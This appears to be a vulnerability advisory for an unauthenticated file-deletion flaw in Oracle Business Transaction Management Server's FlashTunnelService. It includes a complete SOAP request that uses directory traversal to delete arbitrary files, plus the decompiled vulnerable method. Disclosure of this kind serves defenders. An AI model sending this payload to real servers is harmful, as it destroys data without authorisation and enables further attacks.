Oracle Business Transaction Management Server 12.1.0.2.7 FlashTunnelService Remote File Deletion tested against: Microsoft Windows Server 2003 r2 sp2 Oracle WebLogic Server 12c (12.1.1) Oracle Business Transaction Management Server 12.1.0.2.7 (Production version) files tested: oepe-indigo-installer-12.1.1.0.1.201203120349-12.1.1-win32.exe (weblogic) download url: http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html BTM_Servers_12.1.0.2.7.zip (BTM, production version) download url: http://www.oracle.com/technetwork/oem/downloads/btw-downloads-207704.html vulnerability: the mentioned product installs a web service called "FlashTunnelService" which can be reached without prior authentication and processes incoming SOAP requests. It can be reached at the following uri: http://[host]:7001/btmui/soa/flash_svc/ This soap interface exposes the 'deleteFile' function which could allow to delete arbitrary files with administrative privileges on the target server through a directory traversal vulnerability. This could be useful for further attacks. Example packet: POST /btmui/soa/flash_svc/ HTTP/1.1 Accept-Encoding: gzip,deflate Content-Type: text/xml;charset=UTF-8 SOAPAction: "http://soa.amberpoint.com/deleteFile" User-Agent: Jakarta Commons-HttpClient/3.1 Host: [host]:7001 Content-Length: [length] <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types"> <soapenv:Header/> <soapenv:Body> <int:deleteFileRequest> <int:deleteFile handle="../../../../../../../../../../../../somepath/somefile.ext"> <typ:DeleteFileRequestVersion> </typ:DeleteFileRequestVersion> </int:deleteFile> </int:deleteFileRequest> </soapenv:Body> </soapenv:Envelope> Vulnerable code, see the decompiled com.amberpoint.flashtunnel.impl.FlashTunnelServiceImpl class: ... public IDeleteFileResponse deleteFile(IDeleteFileRequest request) throws SOAPFaultException { DeleteFileResponse dfr = new DeleteFileResponse(); String handle = request.getHandle(); File f = getFileFromHandle(handle); if(f != null) f.delete(); return dfr; } ...
